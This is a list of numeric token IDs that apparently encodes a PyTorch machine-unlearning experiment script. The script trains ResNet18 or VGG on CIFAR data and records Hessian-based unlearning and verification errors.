29900,
29889,
29946,
29946,
29953,
29945,
511,
313,
29900,
29889,
29906,
29900,
29906,
29941,
29892,
29871,
29900,
29889,
29896,
29929,
29929,
29946,
29892,
29871,
29900,
29889,
29906,
29900,
29896,
29900,
8243,
2314,
13,
13,
1678,
4327,
29918,
1688,
353,
4327,
29879,
29889,
1523,
4220,
4197,
13,
4706,
4327,
29879,
29889,
1762,
29911,
6073,
3285,
13,
4706,
4327,
29879,
29889,
19077,
675,
3552,
29900,
29889,
29946,
29929,
29896,
29946,
29892,
29871,
29900,
29889,
29946,
29947,
29906,
29906,
29892,
29871,
29900,
29889,
29946,
29946,
29953,
29945,
511,
313,
29900,
29889,
29906,
29900,
29906,
29941,
29892,
29871,
29900,
29889,
29896,
29929,
29929,
29946,
29892,
29871,
29900,
29889,
29906,
29900,
29896,
29900,
8243,
2314,
13,
13,
1678,
7945,
842,
353,
4842,
305,
4924,
29889,
14538,
1691,
29889,
29907,
6545,
1718,
29896,
29900,
29898,
4632,
2433,
6904,
1272,
742,
7945,
29922,
5574,
29892,
5142,
29922,
5574,
29892,
4327,
29922,
9067,
29918,
14968,
29897,
13,
1678,
7945,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
14968,
842,
29892,
9853,
29918,
2311,
29922,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
29892,
528,
21897,
29922,
8824,
29892,
954,
29918,
1287,
414,
29922,
29906,
29897,
13,
13,
1678,
1243,
842,
353,
4842,
305,
4924,
29889,
14538,
1691,
29889,
29907,
6545,
1718,
29896,
29900,
29898,
4632,
2433,
6904,
1272,
742,
7945,
29922,
8824,
29892,
5142,
29922,
5574,
29892,
4327,
29922,
9067,
29918,
1688,
29897,
13,
1678,
1243,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
1688,
842,
29892,
9853,
29918,
2311,
29922,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
29892,
528,
21897,
29922,
8824,
29892,
954,
29918,
1287,
414,
29922,
29906,
29897,
13,
1678,
954,
29918,
13203,
353,
29871,
29896,
29900,
13,
13,
361,
6389,
29889,
24713,
1275,
525,
29883,
361,
279,
29896,
29900,
29900,
2396,
13,
1678,
4327,
29918,
14968,
353,
4327,
29879,
29889,
1523,
4220,
4197,
13,
4706,
4327,
29879,
29889,
17875,
29907,
1336,
29898,
29941,
29906,
29892,
7164,
29922,
29946,
511,
13,
4706,
4327,
29879,
29889,
17875,
24932,
29943,
3466,
3285,
13,
4706,
4327,
29879,
29889,
17875,
21281,
362,
29898,
29896,
29945,
511,
13,
4706,
4327,
29879,
29889,
1762,
29911,
6073,
3285,
13,
4706,
4327,
29879,
29889,
19077,
675,
29898,
313,
29900,
29889,
29945,
29900,
29955,
29900,
29955,
29945,
29896,
29945,
29929,
29906,
29941,
29955,
29896,
29941,
29906,
29941,
29892,
29871,
29900,
29889,
29946,
29947,
29953,
29945,
29946,
29947,
29947,
29955,
29941,
29941,
29896,
29946,
29929,
29945,
29900,
29929,
29945,
29892,
29871,
29900,
29889,
29946,
29946,
29900,
29929,
29896,
29955,
29947,
29946,
29941,
29941,
29953,
29955,
29900,
29941,
29946,
29941,
511,
313,
29900,
29889,
29906,
29953,
29955,
29941,
29941,
29946,
29906,
29947,
29945,
29947,
29955,
29929,
29906,
29946,
29900,
29896,
29892,
29871,
29900,
29889,
29906,
29945,
29953,
29946,
29941,
29947,
29946,
29953,
29906,
29929,
29896,
29955,
29900,
29947,
29947,
29941,
29892,
29871,
29900,
29889,
29906,
29955,
29953,
29896,
29945,
29900,
29946,
29955,
29896,
29941,
29906,
29945,
29953,
29947,
29946,
29900,
29946,
876,
13,
268,
2314,
13,
1678,
7945,
842,
353,
4842,
305,
4924,
29889,
14538,
1691,
29889,
29907,
6545,
1718,
29896,
29900,
29900,
29898,
4632,
2433,
6904,
1272,
742,
7945,
29922,
5574,
29892,
5142,
29922,
5574,
29892,
4327,
29922,
9067,
29918,
14968,
29897,
13,
1678,
7945,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
14968,
842,
29892,
528,
21897,
29922,
8824,
29892,
954,
29918,
1287,
414,
29922,
29906,
29892,
9853,
29918,
2311,
29922,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
29897,
13,
13,
1678,
4327,
29918,
1688,
353,
4327,
29879,
29889,
1523,
4220,
4197,
13,
4706,
4327,
29879,
29889,
1762,
29911,
6073,
3285,
13,
4706,
4327,
29879,
29889,
19077,
675,
3552,
29900,
29889,
29945,
29900,
29955,
29900,
29955,
29945,
29896,
29945,
29929,
29906,
29941,
29955,
29896,
29941,
29906,
29941,
29892,
29871,
29900,
29889,
29946,
29947,
29953,
29945,
29946,
29947,
29947,
29955,
29941,
29941,
29896,
29946,
29929,
29945,
29900,
29929,
29945,
29892,
29871,
29900,
29889,
29946,
29946,
29900,
29929,
29896,
29955,
29947,
29946,
29941,
29941,
29953,
29955,
29900,
29941,
29946,
29941,
511,
313,
29900,
29889,
29906,
29953,
29955,
29941,
29941,
29946,
29906,
29947,
29945,
29947,
29955,
29929,
29906,
29946,
29900,
29896,
29892,
29871,
29900,
29889,
29906,
29945,
29953,
29946,
29941,
29947,
29946,
29953,
29906,
29929,
29896,
29955,
29900,
29947,
29947,
29941,
29892,
29871,
29900,
29889,
29906,
29955,
29953,
29896,
29945,
29900,
29946,
29955,
29896,
29941,
29906,
29945,
29953,
29947,
29946,
29900,
29946,
876,
2314,
13,
1678,
1243,
842,
353,
4842,
305,
4924,
29889,
14538,
1691,
29889,
29907,
6545,
1718,
29896,
29900,
29900,
29898,
4632,
2433,
6904,
1272,
742,
7945,
29922,
8824,
29892,
5142,
29922,
5574,
29892,
4327,
29922,
9067,
29918,
1688,
29897,
13,
1678,
1243,
12657,
29922,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
1688,
842,
29892,
528,
21897,
29922,
8824,
29892,
954,
29918,
1287,
414,
29922,
29906,
29892,
9853,
29918,
2311,
29922,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
29897,
13,
1678,
954,
29918,
13203,
353,
29871,
29896,
29900,
29900,
13,
13,
29937,
9067,
29918,
14968,
353,
4327,
29879,
29889,
1523,
4220,
4197,
9067,
29879,
29889,
17875,
29907,
1336,
29898,
29941,
29906,
29892,
7164,
29922,
29946,
511,
9067,
29879,
29889,
17875,
24932,
29943,
3466,
3285,
9067,
29879,
29889,
1762,
29911,
6073,
3285,
9067,
29879,
29889,
19077,
675,
3552,
29900,
29889,
29946,
29929,
29896,
29946,
29892,
29871,
29900,
29889,
29946,
29947,
29906,
29906,
29892,
29871,
29900,
29889,
29946,
29946,
29953,
29945,
511,
313,
29900,
29889,
29906,
29900,
29906,
29941,
29892,
29871,
29900,
29889,
29896,
29929,
29929,
29946,
29892,
29871,
29900,
29889,
29906,
29900,
29896,
29900,
8243,
2314,
13,
29937,
14968,
842,
353,
4842,
305,
4924,
29889,
14538,
1691,
29889,
29907,
6545,
1718,
29896,
29900,
29898,
4632,
2433,
6904,
1272,
742,
7945,
29922,
5574,
29892,
5142,
29922,
5574,
29892,
4327,
29922,
9067,
29918,
14968,
29897,
13,
29937,
14968,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
14968,
842,
29892,
9853,
29918,
2311,
29922,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
29892,
528,
21897,
29922,
5574,
29892,
954,
29918,
1287,
414,
29922,
29906,
29897,
13,
13,
29937,
9067,
29918,
1688,
353,
4327,
29879,
29889,
1523,
4220,
4197,
9067,
29879,
29889,
1762,
29911,
6073,
3285,
9067,
29879,
29889,
19077,
675,
3552,
29900,
29889,
29946,
29929,
29896,
29946,
29892,
29871,
29900,
29889,
29946,
29947,
29906,
29906,
29892,
29871,
29900,
29889,
29946,
29946,
29953,
29945,
511,
313,
29900,
29889,
29906,
29900,
29906,
29941,
29892,
29871,
29900,
29889,
29896,
29929,
29929,
29946,
29892,
29871,
29900,
29889,
29906,
29900,
29896,
29900,
8243,
2314,
13,
29937,
1688,
842,
353,
4842,
305,
4924,
29889,
14538,
1691,
29889,
29907,
6545,
1718,
29896,
29900,
29898,
4632,
2433,
6904,
1272,
742,
7945,
29922,
8824,
29892,
5142,
29922,
5574,
29892,
4327,
29922,
9067,
29918,
1688,
29897,
13,
29937,
1688,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
1688,
842,
29892,
9853,
29918,
2311,
29922,
29896,
29900,
29900,
29892,
528,
21897,
29922,
8824,
29892,
954,
29918,
1287,
414,
29922,
29906,
29897,
13,
13,
2158,
877,
1360,
29958,
4721,
862,
292,
379,
404,
713,
848,
636,
1495,
13,
14968,
842,
29918,
1761,
353,
1051,
29898,
14968,
842,
29897,
13,
29882,
404,
713,
29918,
12657,
353,
7945,
842,
29918,
1761,
7503,
29945,
29896,
29906,
29962,
13,
29882,
404,
713,
29918,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
29882,
404,
713,
29918,
12657,
29892,
9853,
29918,
2311,
29922,
29945,
29896,
29906,
29892,
528,
21897,
29922,
8824,
29892,
954,
29918,
1287,
414,
29922,
29906,
29897,
13,
13,
2158,
877,
1360,
29958,
4721,
862,
292,
4231,
300,
27964,
848,
856,
1495,
13,
13,
16175,
29918,
8508,
353,
7945,
842,
29918,
1761,
29961,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
334,
6389,
29889,
348,
19668,
29918,
16175,
29901,
6389,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
334,
313,
5085,
29889,
348,
19668,
29918,
16175,
29974,
29896,
4638,
13,
1272,
29918,
1217,
29918,
348,
1945,
9571,
353,
7945,
842,
29918,
1761,
7503,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
334,
6389,
29889,
348,
19668,
29918,
16175,
29962,
718,
7945,
842,
29918,
1761,
29961,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
334,
313,
5085,
29889,
348,
19668,
29918,
16175,
29974,
29896,
1125,
29962,
13,
348,
1945,
9571,
29918,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
16175,
29918,
8508,
29892,
9853,
29918,
2311,
29922,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
29892,
528,
21897,
29922,
8824,
29892,
954,
29918,
1287,
414,
29922,
29906,
29897,
13,
13,
13,
29937,
2577,
1259,
1904,
13,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
29937,
4936,
2751,
1360,
12354,
29911,
4214,
349,
1525,
29911,
4717,
1177,
3352,
16999,
2287,
29931,
1275,
4936,
25512,
1275,
4936,
2751,
29922,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
2158,
877,
1360,
29958,
17166,
1904,
636,
1495,
13,
13,
361,
6389,
29889,
4299,
1275,
525,
690,
1212,
2396,
13,
1678,
7787,
353,
2538,
6779,
29896,
29947,
29898,
1949,
29918,
13203,
29897,
13,
361,
6389,
29889,
4299,
1275,
525,
29894,
1505,
2396,
13,
1678,
7787,
353,
478,
26788,
877,
29963,
26788,
29896,
29929,
742,
1949,
29918,
13203,
29897,
13,
1212,
353,
7787,
29889,
517,
29898,
10141,
29897,
13,
13,
361,
4742,
1275,
525,
29883,
6191,
2396,
13,
1678,
7787,
353,
4842,
305,
29889,
15755,
29889,
1469,
2177,
6553,
29898,
1212,
29897,
13,
1678,
274,
566,
15755,
29889,
1785,
16580,
353,
5852,
13,
13,
2158,
877,
1360,
29958,
4309,
9382,
297,
758,
29899,
3018,
1312,
1904,
636,
1495,
13,
9294,
2897,
29889,
2084,
29889,
275,
3972,
877,
15790,
29918,
1457,
3018,
1312,
29918,
9794,
5477,
525,
2392,
29901,
694,
1423,
3149,
3884,
1476,
20714,
13,
3198,
3149,
353,
4842,
305,
29889,
1359,
29898,
29888,
4286,
29914,
15790,
29918,
1457,
3018,
1312,
29918,
9794,
19248,
5085,
29889,
4299,
3227,
5085,
29889,
24713,
3227,
5085,
29889,
6758,
29918,
9891,
3227,
5085,
29889,
1457,
14968,
29918,
16175,
29918,
2311,
3227,
5085,
29889,
1457,
14968,
29918,
1022,
2878,
29879,
1836,
29886,
386,
1495,
13,
1212,
29889,
1359,
29918,
3859,
29918,
8977,
29898,
3198,
3149,
1839,
1212,
11287,
13,
13,
13,
13,
29937,
29879,
5555,
278,
18177,
310,
278,
758,
3018,
1312,
1904,
13,
29924,
29918,
1457,
14968,
353,
3509,
29889,
24535,
8552,
29898,
1212,
29897,
13,
29893,
29918,
1457,
14968,
29918,
705,
5861,
29918,
20158,
353,
518,
3207,
363,
1828,
297,
341,
29918,
1457,
14968,
29889,
16744,
580,
29962,
13,
29893,
29918,
1457,
14968,
29918,
705,
5861,
353,
18177,
29918,
517,
29918,
1761,
29918,
11255,
29898,
29893,
29918,
1457,
14968,
29918,
705,
5861,
29918,
20158,
29897,
13,
13,
2158,
877,
1360,
29958,
14893,
1076,
12541,
975,
323,
29922,
29900,
304,
323,
29922,
29945,
29900,
29900,
856,
1495,
13,
1272,
29918,
2267,
353,
6571,
13,
13,
29937,
29896,
29889,
25455,
596,
29871,
29906,
4733,
29901,
341,
322,
341,
29915,
13,
29924,
353,
3509,
29889,
24535,
8552,
29898,
29924,
29918,
1457,
14968,
29897,
13,
29924,
29918,
2267,
22042,
353,
3509,
29889,
24535,
8552,
29898,
29924,
29918,
1457,
14968,
29897,
13,
13,
29924,
29889,
14968,
580,
13,
29924,
29918,
2267,
22042,
29889,
14968,
580,
13,
13,
13,
29883,
5385,
291,
29918,
348,
29880,
353,
302,
29876,
29889,
29907,
2124,
5292,
14441,
29931,
2209,
580,
13,
29937,
24926,
278,
6410,
3168,
29892,
5994,
19427,
322,
28598,
352,
414,
363,
1716,
4733,
13,
29883,
5385,
291,
353,
302,
29876,
29889,
29907,
2124,
5292,
14441,
29931,
2209,
580,
13,
20640,
3950,
353,
5994,
29889,
26016,
29928,
29898,
29924,
29889,
16744,
3285,
301,
29878,
29922,
5085,
29889,
29212,
29892,
29885,
2932,
398,
29922,
29900,
29889,
29929,
29892,
7688,
29918,
7099,
388,
29922,
29945,
29872,
29899,
29946,
29897,
13,
816,
14952,
353,
4842,
305,
29889,
20640,
29889,
29212,
29918,
816,
14952,
29889,
29907,
359,
457,
2744,
484,
12818,
29519,
29898,
20640,
3950,
29892,
323,
29918,
3317,
29922,
29906,
29900,
29900,
29897,
13,
13,
29883,
5385,
291,
29918,
2267,
6038,
353,
302,
29876,
29889,
29907,
2124,
5292,
14441,
29931,
2209,
580,
13,
20640,
3950,
29918,
2267,
6038,
353,
5994,
29889,
26016,
29928,
29898,
29924,
29918,
2267,
22042,
29889,
16744,
3285,
301,
29878,
29922,
5085,
29889,
29212,
29892,
29885,
2932,
398,
29922,
29900,
29889,
29929,
29892,
7688,
29918,
7099,
388,
29922,
29945,
29872,
29899,
29946,
29897,
13,
816,
14952,
29918,
2267,
6038,
353,
4842,
305,
29889,
20640,
29889,
29212,
29918,
816,
14952,
29889,
29907,
359,
457,
2744,
484,
12818,
29519,
29898,
20640,
3950,
29918,
2267,
6038,
29892,
323,
29918,
3317,
29922,
29906,
29900,
29900,
29897,
13,
13,
29937,
1552,
848,
393,
591,
526,
1436,
300,
27964,
373,
313,
2541,
921,
29930,
472,
278,
6763,
29897,
13,
1272,
353,
9853,
29918,
8508,
718,
848,
29918,
1217,
29918,
348,
1945,
9571,
13,
1272,
29918,
12657,
353,
4842,
305,
29889,
13239,
29889,
1272,
29889,
1469,
10036,
29898,
1272,
29892,
9853,
29918,
2311,
353,
6389,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
29892,
528,
21897,
353,
7700,
29892,
954,
29918,
1287,
414,
353,
29871,
29906,
29897,
13,
13,
3754,
29918,
1761,
29871,
353,
5159,
13,
2158,
877,
323,
353,
13420,
2435,
29898,
1272,
29918,
12657,
876,
13,
13,
29937,
705,
817,
777,
8857,
363,
13964,
13,
3754,
29918,
1761,
353,
5159,
13,
4181,
29918,
705,
5861,
29918,
1761,
353,
5159,
13,
348,
29880,
29918,
2704,
29918,
1761,
353,
5159,
13,
22155,
29918,
348,
29880,
29918,
2704,
29918,
1761,
353,
5159,
13,
369,
29918,
2704,
29918,
1761,
353,
5159,
13,
29882,
404,
713,
29918,
29883,
5385,
291,
29871,
353,
302,
29876,
29889,
29907,
2124,
5292,
14441,
29931,
2209,
580,
13,
1454,
9358,
297,
3464,
29898,
29900,
29892,
5085,
29889,
4951,
300,
1540,
29918,
1022,
2878,
29879,
1125,
13,
1678,
363,
1667,
29918,
13140,
22657,
2080,
29879,
29892,
22525,
29897,
297,
26985,
29898,
1272,
29918,
12657,
1125,
13,
4706,
341,
29889,
14968,
580,
13,
4706,
1596,
877,
29923,
1129,
305,
353,
13420,
1022,
29892,
525,
265,
260,
353,
13420,
3396,
29918,
13140,
29897,
13,
4706,
10970,
29892,
22525,
353,
10970,
29889,
517,
29898,
10141,
511,
22525,
29889,
517,
29898,
10141,
29897,
13,
4706,
565,
1667,
29918,
13140,
1275,
29900,
29901,
13,
9651,
396,
6194,
2767,
341,
29901,
13,
9651,
5994,
3950,
29889,
9171,
29918,
5105,
580,
13,
9651,
14391,
29918,
29924,
353,
341,
29898,
2080,
29879,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
15227,
2396,
13,
18884,
6410,
29918,
29924,
353,
28770,
291,
29898,
4905,
29879,
29918,
29924,
29892,
22525,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
4172,
2396,
13,
18884,
6410,
29918,
29924,
353,
3659,
29918,
6758,
29898,
4905,
29879,
29918,
29924,
29892,
5182,
29879,
29897,
13,
9651,
6410,
29918,
29924,
29889,
1627,
1328,
580,
13,
9651,
5994,
3950,
29889,
10568,
580,
13,
4706,
565,
1667,
29918,
13140,
2804,
29900,
29901,
13,
9651,
396,
5504,
1716,
341,
322,
341,
29915,
13,
9651,
5994,
3950,
29889,
9171,
29918,
5105,
580,
13,
9651,
14391,
29918,
29924,
353,
341,
29898,
2080,
29879,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
15227,
2396,
13,
18884,
6410,
29918,
29924,
353,
28770,
291,
29898,
4905,
29879,
29918,
29924,
29892,
22525,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
4172,
2396,
13,
18884,
6410,
29918,
29924,
353,
3659,
29918,
6758,
29898,
4905,
29879,
29918,
29924,
29892,
5182,
29879,
29897,
13,
9651,
6410,
29918,
29924,
29889,
1627,
1328,
580,
13,
9651,
5994,
3950,
29889,
10568,
580,
268,
13,
13,
9651,
5994,
3950,
29918,
2267,
6038,
29889,
9171,
29918,
5105,
580,
13,
9651,
14391,
29918,
2267,
6038,
353,
341,
29918,
2267,
22042,
29898,
2080,
29879,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
15227,
2396,
13,
18884,
6410,
29918,
2267,
6038,
353,
28770,
291,
29898,
4905,
29879,
29918,
2267,
6038,
29892,
22525,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
4172,
2396,
13,
18884,
6410,
29918,
2267,
6038,
353,
3659,
29918,
6758,
29898,
4905,
29879,
29918,
2267,
6038,
29892,
5182,
29879,
29897,
13,
9651,
6410,
29918,
2267,
6038,
29889,
1627,
1328,
580,
13,
9651,
5994,
3950,
29918,
2267,
6038,
29889,
10568,
580,
13,
4706,
341,
29889,
14513,
580,
13,
4706,
363,
474,
22657,
2492,
29892,
1643,
29897,
297,
26985,
29898,
29882,
404,
713,
29918,
12657,
1125,
13,
9651,
10153,
353,
10153,
29889,
29883,
6191,
580,
13,
9651,
3858,
353,
3858,
29889,
29883,
6191,
580,
13,
9651,
2867,
13,
4706,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
15227,
2396,
13,
9651,
298,
404,
713,
29918,
2388,
353,
298,
404,
713,
29898,
29924,
29892,
298,
404,
713,
29918,
29883,
5385,
291,
29892,
848,
7607,
2492,
29892,
3858,
511,
274,
6191,
29922,
5574,
29897,
13,
4706,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
4172,
2396,
13,
9651,
298,
404,
713,
29918,
2388,
353,
298,
404,
713,
29898,
29924,
29892,
3659,
29918,
6758,
29892,
848,
7607,
2492,
29892,
3858,
511,
274,
6191,
29922,
5574,
29897,
13,
4706,
2246,
29918,
29872,
2101,
5975,
29892,
2246,
29918,
29872,
2101,
8111,
353,
298,
404,
713,
29918,
2388,
29889,
29872,
2101,
5975,
580,
13,
4706,
269,
2934,
353,
7442,
29889,
3676,
29898,
3332,
29918,
29872,
2101,
5975,
14352,
29896,
2314,
13,
4706,
269,
2934,
29918,
1761,
29889,
4397,
29898,
3754,
29897,
13,
13,
4706,
396,
10454,
29892,
4078,
278,
18177,
310,
1716,
341,
23538,
29940,
29974,
29873,
29897,
322,
341,
15972,
29898,
29940,
29974,
29873,
29897,
13,
4706,
341,
29918,
705,
5861,
29918,
20158,
353,
518,
3207,
363,
1828,
297,
341,
29889,
16744,
580,
29962,
13,
4706,
281,
29918,
29924,
29918,
705,
5861,
353,
18177,
29918,
517,
29918,
1761,
29918,
11255,
29898,
29924,
29918,
705,
5861,
29918,
20158,
29897,
13,
13,
4706,
341,
29918,
2267,
6038,
29918,
20158,
353,
518,
3207,
363,
1828,
297,
341,
29918,
2267,
22042,
29889,
16744,
580,
29962,
13,
4706,
281,
29918,
29924,
29918,
2267,
6038,
29918,
705,
5861,
353,
18177,
29918,
517,
29918,
1761,
29918,
11255,
29898,
29924,
29918,
2267,
6038,
29918,
20158,
29897,
13,
13,
4706,
396,
10454,
29892,
679,
341,
4907,
23538,
29940,
29974,
29873,
29897,
13,
13,
4706,
341,
29918,
348,
1945,
9571,
353,
3509,
29889,
24535,
8552,
29898,
29924,
29897,
13,
4706,
5994,
3950,
29918,
348,
1945,
9571,
353,
5994,
29889,
26016,
29928,
29898,
29924,
29918,
348,
1945,
9571,
29889,
16744,
3285,
301,
29878,
29922,
5085,
29889,
29212,
29892,
29885,
2932,
398,
29922,
29900,
29889,
29929,
29892,
7688,
29918,
7099,
388,
29922,
29945,
29872,
29899,
29946,
29897,
13,
4706,
1364,
14952,
29918,
348,
1945,
9571,
353,
4842,
305,
29889,
20640,
29889,
29212,
29918,
816,
14952,
29889,
29907,
359,
457,
2744,
484,
12818,
29519,
29898,
20640,
3950,
29918,
348,
1945,
9571,
29892,
323,
29918,
3317,
29922,
29906,
29900,
29900,
29897,
13,
13,
4706,
341,
29918,
348,
1945,
9571,
29889,
14968,
580,
13,
4706,
341,
29918,
1457,
14968,
29889,
14968,
580,
13,
4706,
363,
474,
22657,
2492,
29892,
1643,
29897,
297,
26985,
29898,
348,
1945,
9571,
29918,
12657,
1125,
13,
9651,
10153,
353,
10153,
29889,
29883,
6191,
580,
13,
9651,
3858,
353,
3858,
29889,
29883,
6191,
580,
13,
9651,
1962,
29918,
1457,
353,
341,
29918,
1457,
14968,
29898,
2492,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
15227,
2396,
13,
18884,
6410,
29918,
348,
29880,
353,
28770,
291,
29898,
4905,
29918,
1457,
29892,
3858,
29897,
13,
9651,
565,
6389,
29889,
6758,
29918,
9891,
1275,
525,
4172,
2396,
13,
18884,
6410,
29918,
348,
29880,
353,
3659,
29918,
6758,
29898,
4905,
29918,
1457,
29892,
1643,
29897,
13,
9651,
6410,
29918,
348,
29880,
29889,
1627,
1328,
29898,
2267,
475,
29918,
4262,
29922,
5574,
29897,
13,
9651,
4656,
29879,
353,
4842,
305,
29889,
1300,
468,
3665,
29889,
5105,
29898,
6758,
29918,
348,
29880,
29892,
518,
3207,
363,
1828,
297,
341,
29918,
1457,
14968,
29889,
16744,
580,
1402,
3258,
29918,
4262,
353,
5852,
29897,
13,
4706,
2030,
29918,
7529,
353,
6571,
13,
4706,
363,
474,
29892,
313,
978,
29892,
8636,
29897,
297,
26985,
29898,
29924,
29889,
17514,
29918,
16744,
580,
1125,
13,
9651,
2030,
29918,
7529,
29961,
978,
29962,
353,
8636,
29889,
16513,
580,
13,
9651,
2030,
29918,
7529,
29961,
978,
29962,
4619,
313,
1022,
29974,
29896,
29897,
334,
6389,
29889,
29212,
334,
4656,
29879,
29961,
29875,
29962,
13,
4706,
363,
1024,
29892,
8636,
297,
341,
29918,
348,
1945,
9571,
29889,
17514,
29918,
16744,
7295,
13,
9651,
8636,
29889,
1272,
29889,
8552,
23538,
1025,
29918,
7529,
29961,
978,
2314,
13,
4706,
341,
29918,
348,
1945,
9571,
29918,
20158,
353,
518,
3207,
363,
1828,
297,
341,
29918,
348,
1945,
9571,
29889,
16744,
580,
29962,
13,
4706,
281,
29918,
29924,
29918,
348,
1945,
9571,
29918,
705,
5861,
353,
18177,
29918,
517,
29918,
1761,
29918,
11255,
29898,
29924,
29918,
348,
1945,
9571,
29918,
20158,
29897,
13,
13,
4706,
396,
10454,
393,
591,
505,
278,
29871,
29941,
4733,
29892,
341,
23538,
29940,
29974,
29873,
511,
341,
15972,
29898,
29940,
29974,
29873,
29897,
322,
341,
4907,
23538,
29940,
29974,
29873,
511,
1235,
29915,
29879,
10272,
278,
443,
21891,
1059,
310,
341,
29889,
1334,
674,
437,
445,
1023,
5837,
29901,
697,
411,
263,
2734,
6588,
269,
2934,
29892,
697,
1728,
13,
4706,
396,
2158,
877,
15807,
1218,
443,
29880,
1059,
3045,
1495,
13,
4706,
19471,
29918,
705,
5861,
353,
7442,
29889,
29880,
979,
29887,
29889,
12324,
3552,
9302,
29889,
2378,
29898,
29893,
29918,
29924,
29918,
705,
5861,
29897,
448,
7442,
29889,
2378,
29898,
29893,
29918,
1457,
14968,
29918,
705,
5861,
4961,
13,
4706,
396,
2158,
877,
29893,
340,
29892,
269,
2934,
338,
353,
13420,
3754,
29897,
13,
4706,
443,
29880,
29918,
2704,
353,
313,
5085,
29889,
29212,
334,
6389,
29889,
29212,
29897,
334,
3552,
2435,
29898,
1272,
29918,
12657,
11877,
1022,
7240,
1667,
29918,
13140,
29897,
334,
29898,
29896,
29914,
29906,
29897,
334,
19471,
29918,
705,
5861,
334,
3754,
13,
4706,
27777,
29918,
348,
29880,
29918,
2704,
353,
313,
5085,
29889,
29212,
334,
6389,
29889,
29212,
29897,
334,
3552,
2435,
29898,
1272,
29918,
12657,
11877,
1022,
7240,
1667,
29918,
13140,
29897,
334,
29898,
29896,
29914,
29906,
29897,
334,
19471,
29918,
705,
5861,
334,
313,
2083,
29898,
3754,
29918,
1761,
6802,
2435,
29898,
3754,
29918,
1761,
876,
13,
13,
4706,
396,
3707,
10272,
278,
1147,
2450,
1059,
13,
4706,
1147,
2450,
29918,
2704,
353,
7442,
29889,
29880,
979,
29887,
29889,
12324,
3552,
9302,
29889,
2378,
29898,
29893,
29918,
29924,
29918,
2267,
6038,
29918,
705,
5861,
29897,
448,
7442,
29889,
2378,
29898,
29893,
29918,
29924,
29918,
348,
1945,
9571,
29918,
705,
5861,
4961,
13,
4706,
19471,
29918,
705,
5861,
29918,
1761,
29889,
4397,
29898,
4181,
29918,
705,
5861,
29897,
13,
4706,
443,
29880,
29918,
2704,
29918,
1761,
29889,
4397,
29898,
348,
29880,
29918,
2704,
29897,
13,
4706,
27777,
29918,
348,
29880,
29918,
2704,
29918,
1761,
29889,
4397,
29898,
22155,
29918,
348,
29880,
29918,
2704,
29897,
13,
4706,
1147,
29918,
2704,
29918,
1761,
29889,
4397,
29898,
369,
2450,
29918,
2704,
29897,
13,
4706,
396,
2158,
877,
22155,
443,
21891,
1059,
338,
353,
13420,
27777,
29918,
348,
29880,
29918,
2704,
29897,
13,
4706,
396,
2158,
877,
348,
29880,
1059,
338,
13420,
443,
29880,
29918,
2704,
29897,
13,
4706,
396,
2158,
877,
3754,
338,
13420,
2533,
29898,
3754,
29918,
1761,
6802,
2435,
29898,
3754,
29918,
1761,
876,
13,
4706,
396,
2158,
877,
4181,
18177,
338,
742,
19471,
29918,
705,
5861,
29897,
13,
2267,
353,
6571,
13,
2267,
1839,
3754,
2033,
353,
269,
2934,
29918,
1761,
13,
2267,
1839,
4181,
18177,
2033,
353,
19471,
29918,
705,
5861,
29918,
1761,
13,
2267,
1839,
369,
2450,
1059,
2033,
353,
1147,
29918,
2704,
29918,
1761,
13,
2267,
1839,
348,
21891,
1059,
2033,
353,
443,
29880,
29918,
2704,
29918,
1761,
13,
2267,
1839,
22155,
443,
21891,
1059,
2033,
353,
27777,
29918,
348,
29880,
29918,
2704,
29918,
1761,
13,
13,
13,
5215,
5839,
280,
13,
361,
451,
2897,
29889,
2084,
29889,
275,
3972,
877,
8394,
29918,
2616,
23445,
29918,
9902,
29374,
13,
1678,
2897,
29889,
11256,
3972,
877,
8394,
29918,
2616,
23445,
29918,
9902,
1495,
13,
2084,
353,
285,
4286,
29914,
8394,
29918,
2616,
23445,
29918,
9902,
19248,
5085,
29889,
4299,
3227,
5085,
29889,
24713,
3227,
5085,
29889,
6758,
29918,
9891,
3227,
5085,
29889,
1457,
14968,
29918,
16175,
29918,
2311,
3227,
5085,
29889,
1457,
14968,
29918,
1022,
2878,
29879,
3227,
5085,
29889,
4951,
300,
1540,
29918,
16175,
29918,
2311,
3227,
5085,
29889,
4951,
300,
1540,
29918,
1022,
2878,
29879,
1836,
29886,
29915,
13,
